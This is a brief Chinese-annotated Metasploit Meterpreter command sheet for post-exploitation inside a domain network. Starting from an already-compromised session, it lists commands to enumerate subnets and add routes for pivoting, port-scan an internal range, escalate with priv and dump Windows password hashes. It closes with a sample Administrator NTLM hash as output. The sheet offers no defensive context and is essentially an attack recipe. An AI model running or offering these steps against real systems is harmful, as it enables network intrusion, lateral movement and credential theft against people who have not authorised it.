先获取域内机器session
run get_local_subnets //获取本地网络子网掩码
route add 192.168.233.0 255.255.255.0 1 //添加路由表
run autoroute -s 192.168.2.0 -n 255.255.255.0 //也可以添加一条静态路由
run autoroute -s 192.168.2.0/24 //添加动态路由
route print //打印路由表
use auxliary/scanner/portscan/tcp //使用扫描模块对整个 C 段跨网段扫描
use priv //运行注入
run post/windows/gather/hashdump //获取用户名 hash 值
Administrator:500:aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4